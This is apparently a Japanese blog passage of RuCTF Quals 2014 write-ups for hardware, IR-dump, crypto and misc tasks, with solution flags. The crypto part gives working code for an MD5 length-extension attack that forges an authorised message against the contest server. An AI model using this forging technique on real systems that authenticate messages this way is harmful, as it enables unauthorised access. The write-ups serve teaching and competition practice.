こういうわけで、フリップフロップのCLOCKにつながっている9,8,3,1を順番に押すとトランジスタへの信号がLOWになり、緑のLEDが点灯します。

Flag:

9831

RuCTF Quals 2014 hardware 100 Write up

問題文

問題タイトル: IR dump

What credit card number has been typed?Dump(zipファイルへのリンク)

答え

zipダウンロードして解凍すると、次のようなdump.txtが出てきます。

RMC364GY00000000000000000000000000000000000000000000000000000000  ...(ひたすら0か1が続く)

先頭のRMC364GYで検索すると、JVCというメーカのテレビのリモコンがヒットします。
問題タイトルがIR dumpなので、このファイルはリモコンの信号のダンプだと推測できます。
JVCリモコンの仕様を調べると、次のようなページがヒットします。
http://www.sbprojects.com/knowledge/ir/jvc.php
http://users.telenet.be/davshomepage/jvc.htm
これらの情報をもとに、デコードを行えばOKです。
まず、dump.txt連続する文字とその個数で表したファイルに変換しました。

R 1
M 1
C 1
3 1
6 1
4 1
G 1
Y 1
0 572686
1 1584
0 767
1 110
0 271
1 112
0 277
1 111
...

0と1の数から大体どれがスタートコードでどれがリピートコードか、などのあたりをつけ、作成したデコーダが以下です。

#!/usr/bin/python2

f = open('converted.txt', 'r')

data = f.read()

array = data.split('\n')

array = array[9:]

repeating = False
count = 0
starting = False

address = 0
command = 0

for line in array:
	if line != '':
		c, n = line.split(' ')
	n = int(n)

	if starting:
		starting = False
		continue
	
	if repeating:
		if c == '0' and 5000 < n:
			repeating = False
	else:
		if c == '1' and 1000 < n < 2000:
			starting = True
		elif count == 16:
			print hex(address), hex(command)
			address = 0
			command = 0
			count = 0
			repeating = True
		elif c == '0':
			if n < 150:
				v = 0
			else:
				v = 1
			if count < 8:
				address += v << count
			else:
				command += v << (count - 8)
			count += 1
f.close()

実行結果

% ./decode.py
0x3 0x24
0x3 0x24
0x3 0x28
0x3 0x25
0x3 0x22
0x3 0x24
0x3 0x28
0x3 0x24
0x3 0x20
0x3 0x29
0x3 0x24
0x3 0x29
0x3 0xa5
0x3 0x29
0x3 0x29
0x3 0x22

JVCリモコンのコマンドの詳細な仕様書にキーコードテーブルがあるので、それを参照します。
http://support.jvc.com/consumer/support/documents/RemoteCodes.pdf
0x20〜0x29が数字のボタンらしいので、一番下の桁を読めばOKです(0xa5はおそらくデコードミス)。

Flag:

4485248409495992

RuCTF Quals 2014 crypto 100 Write up

問題文

Server (python27.quals.ructf.org:12337) accepts only authorized messages.
It works like this:

-------------------------------
	buf = c.recv(4096)
	digest, msg = buf.split(" ", 1)
	if (digest == md5(password+msg).hexdigest()):
		#here I send a secret
	else:
		c.send("Wrong signature\n")
-------------------------------

You have intercepted one authorized message: "b34c39b9e83f0e965cf392831b3d71b8 do test connection". Construct your own authorized message! Answer starts with 'RUCTF_'

答え

問題にConstruct your own authorized message!とあるとおり、"b34c39b9e83f0e965cf392831b3d71b8 do test connection"を送信してもWrong signatureと言われてしまいます。
そこで、MD5は反復形ハッシュ関数(iterated hash function)であるので、伸長攻撃(length-extension attack)を利用して攻撃します。
つまり、h(m)とm'からh(m + m')が計算できます。

MD5アルゴリズム概略
  • パディング

まず、メッセージ末尾に1のビットを付加し、その後メッセージの長さが64バイトで割って56余るように0のビットで埋めます。

   66 6f 6f
=> 66 6f 6f 80
=> 66 6f 6f 80 00 00 00 00  00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00

末尾にメッセージの長さ(ビット数)を64バイトリトルエンディアンで付加します。

=> 66 6f 6f 80 00 00 00 00  00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
   00 00 00 00 00 00 00 00  18 00 00 00 00 00 00 00
  • 入力ブロック分割

長さが64バイトの倍数になったメッセージを64バイト(512ビット)ごとに分割します。

  • ブロック処理

だいたい以下のような擬似コードで処理を行います。

a0 = 0x67452301
b0 = 0xefcdab89
c0 = 0x98badcfe
d0 = 0x10325476
for block in blocks:
    A = a0
    B = b0
    C = c0
    D = d0
    do_something(A, B, C, D, block)
    a0 += A
    b0 += B
    c0 += C
    d0 += D
print a0 + b0 + c0 + d0 #little endian
攻撃

問題から、passwd + "do test connection"のMD5はわかっているので、まず"do test connection" + paddingが1ブロック目になるようなmsgを作成します。
2ブロック目は何でもよいですが、今回はチーム名の"0x0"を入れました。
そして上記の擬似コードでa0〜d0の初期値を問題のハッシュにして計算し、msgのハッシュとします。
passwdの長さはわからないため、ブルートフォースします。
以下がMD5を求めるためのコードです。

#!/usr/bin/python2
import struct

def F(B, C, D):
	return D ^ (B & (C ^ D))
def G(B, C, D):
	return C ^ (D & (B ^ C))
def H(B, C, D):
	return B ^ C ^ D
def I(B, C, D):
	return C ^ (B | ((~D) & 0xffffffff))

s = [7, 12, 17, 22,  7, 12, 17, 22,  7, 12, 17, 22,  7, 12, 17, 22,
5,  9, 14, 20,  5,  9, 14, 20,  5,  9, 14, 20,  5,  9, 14, 20,
4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23,  4, 11, 16, 23,
6, 10, 15, 21,  6, 10, 15, 21,  6, 10, 15, 21,  6, 10, 15, 21]

K = [0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee,
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be,
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa,
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed,
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c,
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05,
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039,
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391]

def leftrotate(x, c):
	return ((x << c) | (x >> (32 - c))) & 0xffffffff

def md5(message):
	#prev_hash: b34c39b9 e83f0e96 5cf39283 1b3d71b8
	a0 = 0xb9394cb3
	b0 = 0x960e3fe8
	c0 = 0x8392f35c
	d0 = 0xb8713d1b
	length = len(message) + 64 #second block
	message += '\x80'
	while len(message) % 64 != 56:
		message += '\x00'
	message += struct.pack('<Q', length * 8)
	for k in range(len(message) / 64):
		M = []
		for j in range(16):
			M.append(struct.unpack('<I', message[k * 64 + j * 4:k * 64 + j * 4 + 4])[0])
		A = a0
		B = b0
		C = c0
		D = d0
		for i in range(64):
			if(0 <= i < 16):
				f = F(B, C, D)
				g = i
			elif(16 <= i < 32):
				f = G(B, C, D)
				g = (5 * i + 1) % 16
			elif(32 <= i < 48):
				f = H(B, C, D)
				g = (3 * i + 5) % 16
			elif(48 <= i < 64):
				f = I(B, C, D)
				g = (7 * i) % 16
			t = D
			D = C
			C = B
			B = (B + leftrotate((A + f + K[i] + M[g]) & 0xffffffff, s[i])) & 0xffffffff
			A = t
		a0 = (a0 + A) & 0xffffffff
		b0 = (b0 + B) & 0xffffffff
		c0 = (c0 + C) & 0xffffffff
		d0 = (d0 + D) & 0xffffffff
	return struct.pack('<I', a0) + struct.pack('<I', b0) + struct.pack('<I', c0) + struct.pack('<I', d0)

print md5('0x0')

上記のコードを実行すると、d069725424a2f5058425da07b03147a1というMD5が得られます。
以下が実際に送信するコードです。

#!/usr/bin/python2
import telnetlib
import struct

md5 = 'd069725424a2f5058425da07b03147a1'

orig_mes = 'do test connection'

for l in range(64 - len(orig_mes) - 1): #l means len(passwd)
	t = telnetlib.Telnet('python27.quals.ructf.org', 12337)
	data = md5 + ' ' + orig_mes + '\x80'
	while len(data) - (len(md5) + 1) != 56 - l:
		data += '\x00'
	data += struct.pack('<Q', (l + len(orig_mes)) * 8)
	data += '0x0'
	t.get_socket().sendall(data)
	r = t.read_until('Wrong signature', 5)
	print l, r
	t.close()

実行結果

% ./exploit.py
0 Wrong signature
1 Wrong signature
2 Wrong signature
3 Wrong signature
4 Wrong signature
5 Wrong signature
6 Wrong signature
7 Wrong signature
8 Wrong signature
9 Wrong signature
10 Wrong signature
11 Wrong signature
12 Wrong signature
13 Wrong signature
14 Wrong signature
15 Message accepted! The answer is RUCTF_CryptoIsFunAndEasy

passwdは15文字だったようです。

Flag:

RUCTF_CryptoIsFunAndEasy

RuCTF Quals 2014 misc 100 Write up

問題画像

f:id:waidotto:20140311020321j:image

答え

印刷して切りました
f:id:waidotto:20140309101400j:image
Flag:

RUCTF_TO_SHRED_IS_NOT_ENOUGH